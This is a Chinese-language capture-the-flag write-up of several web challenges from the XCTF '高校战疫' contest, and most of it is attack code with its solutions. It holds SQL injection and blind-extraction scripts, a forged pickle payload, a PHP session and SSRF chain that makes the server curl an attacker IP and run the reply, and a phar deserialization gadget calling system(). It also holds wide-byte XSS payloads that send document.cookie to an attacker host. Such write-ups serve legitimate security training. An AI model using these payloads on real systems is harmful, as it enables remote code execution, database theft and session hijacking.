XCTF高校战"疫"分享赛
sqlcheckin
sql注入
https://blog.csdn.net/nzjdsds/article/details/82980041
直接看例子:
like也是一样
false false 得到true,令username:xxx'=',password:xxx'=',payload:
char(61)用来绕过=
username=xxx'%2bchar(61)%2b'&password=xxx'%2bchar(61)%2b'
webtmp
源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
大致意思就是用Animal这个类,传入name和category参数,然后去和题目里secret.name和secret.category去比,并且过滤掉了R,这个R就是R指令,也就是__reduce__函数
顺带说一下,有一个python自带的pickle调试器pickletools很好用,可以看具体pickle的内容,如:
pickletools.dis(pickle.dumps(Animal('dog','bark'))),此时pickle的数据为:
b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'
经过pickletools之后就变得很清楚了
可以对照着修改值,然后在想尝试直接将dog更改为cseret\n\name\n(这个c也就是c指令,就是global全局变量)时出现了错误,因为这里只允许c指令包含__main__这一个module
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
可以看一下这篇文章
https://zhuanlan.zhihu.com/p/89132768
大概原理如下:
根据原先Animal生成的pickle,构造一个secret的pickle,然后放入一个{'name':'dog','category':'bark'}的Animal字典
原先的Animal pickle
b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'
构造一下:
b'\x80\x03c__main__\nsecret\nq\x00}(Vname\nVdog\nVcategory\nVbark\nub0c__main__\nAnimal\n)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'
base64
b'gANjX19tYWluX18Kc2VjcmV0CnEAfShWbmFtZQpWZG9nClZjYXRlZ29yeQpWYmFyawp1YjBjX19tYWluX18KQW5pbWFsCimBcQF9cQIoWAQAAABuYW1lcQNYAwAAAGRvZ3EEWAgAAABjYXRlZ29yeXEFWAQAAABiYXJrcQZ1Yi4='
Hackme
www.zip获得源码
session serialize处理器不同
观察到这里会判断admin是否为1,并且该值由session得到,所以只要找到一个地方能存入session即可
upload_sign.php恰好可以存入
而upload.php包含了upload_sign.php
首先在profile.php页面令this->admin=1,序列化一下得到
O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}
w4|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}
https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51
代码中禁止了data://协议,可以用compress.zlib://协议代替,并且parse_url($url)['host']需要匹配到127.0.0.1,可以构造成如下:
compress.zlib://data:@127.0.0.1/plain;base64,
加一个@会把前面的data:当作用户user
然后是<=4个字符的exec
https://www.anquanke.com/post/id/87203
首先在服务器上写上这样的index.html
然后写脚本:
# encoding=utf-8
import requests
import base64
import time
import random
url='http://121.36.222.22:88/core/index.php'
cookies={
'PHPSESSID':'17336d5cbf57129cce902289ffc3a97a'
}
#换上服务器ip
shell_ip = 'xx.xx.xx.xx'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])
print(ip)
pos0 = 'f'
pos1 = 'h'
pos2 = 'g' # 随意选择字符
s = [
'>dir',
'>%s\>' % pos0,
'>%st-' % pos1,
'>sl',
'*>v',
'>rev',
'*v>%s' % pos2,
'>p',
'>ph\\',
'>\|\\',
#服务器ip的十位hex
'>xx\\',
'>xx\\',
'>xx\\',
'>xx\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\',
'sh ' + pos2,
'sh ' + pos0,
]
payload1 = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
url2='http://121.36.222.22:88/core/sandbox/a0eaaa9fe99c2be982afa4325bdaa05e/'
for i in s:
r = requests.post(url,cookies=cookies ,data={"url": payload1.format(base64.b64encode(i.encode()).decode())})
print(r.text)
#print(payload1.format(base64.b64encode(i.encode()).decode()))
time.sleep(0.5)
注意这里特殊符号例如>或空格都需要转义,之后访问
php uaf:
php7.4 bypass:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
nweb
注册页面有一个隐藏的type,并且给了110提示,
email=w&pass=123&repass=123&type=110
登陆账号,在search.php有布尔注入点,过滤from双写绕过
import requests
import time
url='http://121.37.179.47:1001/search.php'
payload='''1'or if(((ascii(mid((seselectlect group_concat(pwd) frfromom admin),{},1)))>{}),1,0)#'''
cookies={
'username':'f1290186a5d0b1ceab27f4e77c0c5d68',
'PHPSESSID':'21232f297a57a5a743894a0e4a801fc3'
}
text=''
for i in range(1,35):
l=28
h=126
while abs(h - l) > 1:
m=(l+h)/2
data={
'flag':payload.format(i,m)
}
t=time.time()
re=requests.post(url,cookies=cookies,data=data)
#print(re.text)
if 'There is flag' in re.text:
l=m
else:
h=m
mid_num = int((l + h + 1) / 2)
text += chr(int(h))
print(text)
#flag->fl4g flag{Rogue-MySql-Server
#username,pwd,qq->admin e2ecea8b80a96fb07f43a2f83c8b0960
查到一半flag以及md5加密的密码,解密一下是whoamiadmin,在admin.html登陆后台:
是一个mysql服务端伪造任意读取文件的漏洞,利用脚本:
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
将脚本中的端口(对应即可),要读的文件改一下运行,填入ip和端口连接
自动写入mysql.log文件:
flag{Rogue-MySql-Server-is-nday}
以下是复现的题
webct
www.zip源码
一个上传文件一个sql连接,看了好几遍都没思路,看到这个__call也没反序列化的点
原来是上传phar文件,然后用nweb那题的mysql伪造,将文件改为phar://....触发,真是没想到
<?php
error_reporting(0);
class Fileupload
{
public $file;
function __construct()
{
$this->file = new Listfile;
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct()
{
$this->file = '/;/readflag;';
}
function __call($name, $arguments)
{
system("ls " . $this->file);
}
}
$a = new Fileupload();
var_dump($a);
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('1.phar','1.jpg');
?>
生成文件之后上传得到路径,运行python文件,替换文件为 :
phar://./uploads/c98b2784ceb4968f6a1b49a2b2a505a0/551ccbaef945b2c4f3ca88361f08d600.jpg
payload:
ip=xx.xx.xx.xx%3A3307&user=xxx&password=xxx&option=8
然后客户端访问该文件触发phar
fmkq
源码:
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}
head不能有数字或字母,若绕过则被拼接并执行
$funcname = $head.'curl_init';
$ch = $funcname();
url不能包含log,不能使用这些协议:gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp: ,若绕过则进行curl
由于最后输出是sprintf,所以可以用格式化字符串漏洞%s%显示
?head=\&begin=%s%&url=http://127.0.0.1:8080
(head用\绕过没太懂)
然后提示readfile的两种方法:
有vipcode情况下
/read/file=example&vipcode=example
无vipcode情况下
/read/file=/tmp/{file}&vipcode=0
首先看一下file的内容,猜测应该是一个python对象,因为可以用__dict__得到值:
{file.__dict__}
继续看vip的内容:
{file.vip.__dict__}
得到vipcode
看一下根目录得到flag路径
但是直接读不得行
/fl4g_1s_h3re_u_wi11_rua/flag
过滤了fl4g,需要用切割拼接绕过,payload:
http://121.37.179.47:1101/head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=KIw4Mslkq6hAQTErmF7GLgiSxZV8BU29WzaYyfRv0CnHe13b
happyvacation
考点:代码审计,宽字节xss
出题人笔记:https://imagin.vip/?p=735
首先需要知道个知识点:
clone在php中起到一个对象复制的作用,例如:
$a=new test();
$b=clone $a;
此时$b就得到了一个a对象的一个复制,这种复制在某些复杂的情况下会很大提示代码效率
但是如果$a中新建了另外一个对象,此时$b得到的原来的类+一个子类,如果对$b中的属性进行修改,那么会导致$a中的对应属性也会被修改:
<?php
class A{
public function __construct(){
$this->s=new son();
}
}
class son{
function __construct(){
$this->test = 111;
}
}
$a=new A();
$b=clone $a;
echo $a->s->test."<br>"; 111
$b->s->test=222;
echo $a->s->test."<br>"; 222
echo $b->s->test; 222
不过php有一个__clone()方法可以在clone时修改属性(如果必要的话)
回到题目
Githack获得源码
在index.php页面可以输入username和message,username随便,只是表示你登陆与否,而输入message的话会直接在页面上显示出来,两边的script可以判断是xss
看一下message代码:
跟进两层,发现有过滤
并且最后会转义,转义+单引号逃逸想到宽字节注入
在lib.php的UrlHelper类下观察到一处可以更改httphead的地方,前提是可控
这里被写死了为location跳转:
想要改成gbk首先要突破这个,在quiz.php处接受一个answer参数,跟进answer方法
会发现这里使用了clone复制,并且调用了eval方法将answer=False
上面说过clone在被复制对象中创建一个新类后,复制对象属性改变会导致原类属性的改变
看一下user类
之前我们需要改的是UrlHelper下的pre,上面url正好新建了一个Urlhelper对象
现在所需要的就是让复制类可控,结合上面的eval,我们令$answer=user->url->pre
eval本来是这:
eval("\$this->".$answer." = false;");
此时:
eval("\$this->user->url->pre = false;");
this->user为复制类,复制类中的url->pre改了,被复制类$user->url->pre也被改了,$user->url=new UrlHelper(),所以UrlHelper::pre成为了Flase
然后就是想令location可控了,回到quiz.php看第二个参数referer:
跟进
$user->url->referer默认为index,传入
referer=Content-Type: text/html; charset=GBK; Referer: index
$user->url->referer已改变,重新请求一次,在这里进入if成功更改location的值
payload:
/quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index&answer=user->url->pre
xss:
方法一:
上传文件,内容为(只要能上传的后缀就行)
window.open('http://xx.xx.xx.xx:3333/?'+document.cookie);
得到路径,然后构造message:
//b=script,c=文件路径./upload/...
/index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);
var c = String.fromCharCode(46,47,117,112,108,111,97,100,47,52,55,54,99,101,48,54,56,100,49,55,99,51,55,102,50,99,52,100,100,55,97,48,54,50,51,48,50,100,99,55,53,46,119,97,118,101);
x=document.createElement(b);x.src=c;document.body.appendChild(x);
然后监听3333端口,去ask.php输入md5值让bot触发
方法二:
不上传文件直接:
//d=document,c=cookie,w=window,o=open
//=>self[window].open(ip+self[document][cookie])
1%df%27;var d=String.fromCharCode(100,111,99,117,109,101,110,116);
var c =String.fromCharCode(99,111,111,107,105,101);
var w=String.fromCharCode(119,105,110,100,111,119);
var o=String.fromCharCode(111,112,101,110);
//替换为ip:port的ascii码值
var ip = String.fromCharCode();self[w].open(ip%2bself[d][c]);//
小结
这此比赛感觉挺有收获的,学到很多知识点,不过出的题还是太少了emmm